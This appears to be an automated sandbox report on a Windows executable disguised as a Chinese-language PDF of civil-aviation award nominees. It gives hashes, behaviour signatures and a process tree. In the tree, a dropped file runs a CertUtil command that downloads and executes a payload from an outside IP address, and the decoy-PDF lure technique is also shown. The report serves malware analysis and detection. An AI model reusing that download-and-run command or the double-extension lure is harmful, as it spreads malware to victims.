Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-04-2023 15:30

General

  • Target

    infected2023042501/Downloads/2021-2022年度民航青年文明号拟命名集体名单.pdf.exe

  • Size

    2.8MB

  • MD5

    6c372539a592a1569029e61d7f5cbaa3

  • SHA1

    bd349cc828ea45a0264db64fd856110ae0332620

  • SHA256

    b24bc9659b4445a0581b4e14d62501a22f731f2525be01c65ca8c86b9d8310f3

  • SHA512

    c55659a57c5f8b8476c30cd2c27a505cca9d090b7e1d5adc122ad52cb04f9f4b839a34c6bc3594cbf1bce56d7d47e75496f70a768bfedc378edc2689bad69fe8

  • SSDEEP

    49152:cvYTjUP3QRrb/TJvO90d7HjmAFd4A64nsfJBbbFegmhVYgkJ7D/lUb1UeqU2hqYF:6Q6Z

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\infected2023042501\Downloads\2021-2022年度民航青年文明号拟命名集体名单.pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\infected2023042501\Downloads\2021-2022年度民航青年文明号拟命名集体名单.pdf.exe"
    1⤵
    • Suspicious behavior: RenamesItself
    • Suspicious use of WriteProcessMemory
    PID:2780
    • C:\Windows\system32\cmd.exe
      cmd " /c " C:\Users\Admin\AppData\Local\Temp\infected2023042501\Downloads\2021-2022年度民航青年文明号拟命名集体名单.pdf
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4460
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\infected2023042501\Downloads\2021-2022年度民航青年文明号拟命名集体名单.pdf"
        3⤵
        • Checks processor information in registry
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3996
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:552
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=06A049E15CFF08B6226ABB9F48543624 --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
              PID:3360
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=BD05404C41EF6252A31A55B948FE0314 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=BD05404C41EF6252A31A55B948FE0314 --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
              5⤵
                PID:3948
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=7B5B024BBA995CAFC55BE5B64A4B5E95 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=7B5B024BBA995CAFC55BE5B64A4B5E95 --renderer-client-id=4 --mojo-platform-channel-handle=2160 --allow-no-sandbox-job /prefetch:1
                5⤵
                  PID:2228
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=14C6180411728FBB02BACA3286A7C9A3 --mojo-platform-channel-handle=2196 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                  5⤵
                    PID:2372
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=13B89BF8C44C2AF89269F0A0C2030FC5 --mojo-platform-channel-handle=2584 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    5⤵
                      PID:1584
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=245A4F9364E9D7898D33A55CF7771739 --mojo-platform-channel-handle=2568 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      5⤵
                        PID:2664
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                      4⤵
                        PID:4744
                  • C:\Users\Public\payloadgo.exe
                    C:\Users\Public\payloadgo.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3528
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /C CertUtil -urlcache -split -f http://49.4.86.39:30010/getsysteminfo.exe C:\Windows\Temp\UpgradeHelper.exe & C:\Windows\Temp\UpgradeHelper.exe
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3268
                      • C:\Windows\system32\certutil.exe
                        CertUtil -urlcache -split -f http://49.4.86.39:30010/getsysteminfo.exe C:\Windows\Temp\UpgradeHelper.exe
                        4⤵
                          PID:1816
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /C del /F /S C:\Windows\Temp\UpgradeHelper.exe
                        3⤵
                          PID:4704
                    • C:\Windows\System32\CompPkgSrv.exe
                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                      1⤵
                        PID:3736

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                        Filesize

                        36KB

                        MD5

                        b30d3becc8731792523d599d949e63f5

                        SHA1

                        19350257e42d7aee17fb3bf139a9d3adb330fad4

                        SHA256

                        b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

                        SHA512

                        523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

                      • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                        Filesize

                        56KB

                        MD5

                        752a1f26b18748311b691c7d8fc20633

                        SHA1

                        c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

                        SHA256

                        111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

                        SHA512

                        a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

                      • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                        Filesize

                        64KB

                        MD5

                        ca527cedabf92a38c57b1197b9c28deb

                        SHA1

                        d6435dd74bdf146a2a3c4c7636cb565c1761e367

                        SHA256

                        b750f709f6ab6d5eddc1c2f1a9a768bbf1b65d7b0a20d167f5ec4c0c3e8b7705

                        SHA512

                        8bf80fbad7e3b54990e15e086f5808f9d8bcc76346b54841e138783a51caef6c409db0d7446f0ad241049f7135152b29f5336903c71c0f9f2d225c0fcf5b780d

                      • C:\Users\Admin\AppData\Local\Temp\infected2023042501\Downloads\2021-2022年度民航青年文明号拟命名集体名单.pdf

                        Filesize

                        124KB

                        MD5

                        9126c87d78a10a7a10c244a33c48f70f

                        SHA1

                        0e8ccc425038bc553619935e6d2fc83048dcb549

                        SHA256

                        1965fabaad3bf5725256b6ce34ebe572b90a0b4f1f976015360373871617e68a

                        SHA512

                        9dae9921577673b9341a7897e30cad8bcf2fe1c141d1f443aaca381a520b44571d01f5ed31ebb26bfe2d0c35b9199220d33bac383a4192fcfb12543854c96039

                      • C:\Users\Public\payloadgo.exe

                        Filesize

                        491KB

                        MD5

                        9e5f182d0296eee741d4606f13bebaec

                        SHA1

                        b0aeed0e50d364f0bff7d37ca0e4af5e365a5d23

                        SHA256

                        e0de81dd98d1f02a45c8024cc21d84fac93453013deae7db2f812e71209e2a58

                        SHA512

                        557c8ee236151561bf27f3e32d013e5a122e66ffe7e73a4f0aa957e50ea7baa3b56ff2b39292a4adb0d14e572e5a160e6e1b04be240e30ee7f87337fd2f28bcc

                      • C:\Users\Public\payloadgo.exe

                        Filesize

                        491KB

                        MD5

                        9e5f182d0296eee741d4606f13bebaec

                        SHA1

                        b0aeed0e50d364f0bff7d37ca0e4af5e365a5d23

                        SHA256

                        e0de81dd98d1f02a45c8024cc21d84fac93453013deae7db2f812e71209e2a58

                        SHA512

                        557c8ee236151561bf27f3e32d013e5a122e66ffe7e73a4f0aa957e50ea7baa3b56ff2b39292a4adb0d14e572e5a160e6e1b04be240e30ee7f87337fd2f28bcc

                      • memory/3528-139-0x00000000004E0000-0x000000000067D000-memory.dmp

                        Filesize

                        1.6MB

                      • memory/3528-143-0x00000000004E0000-0x000000000067D000-memory.dmp

                        Filesize

                        1.6MB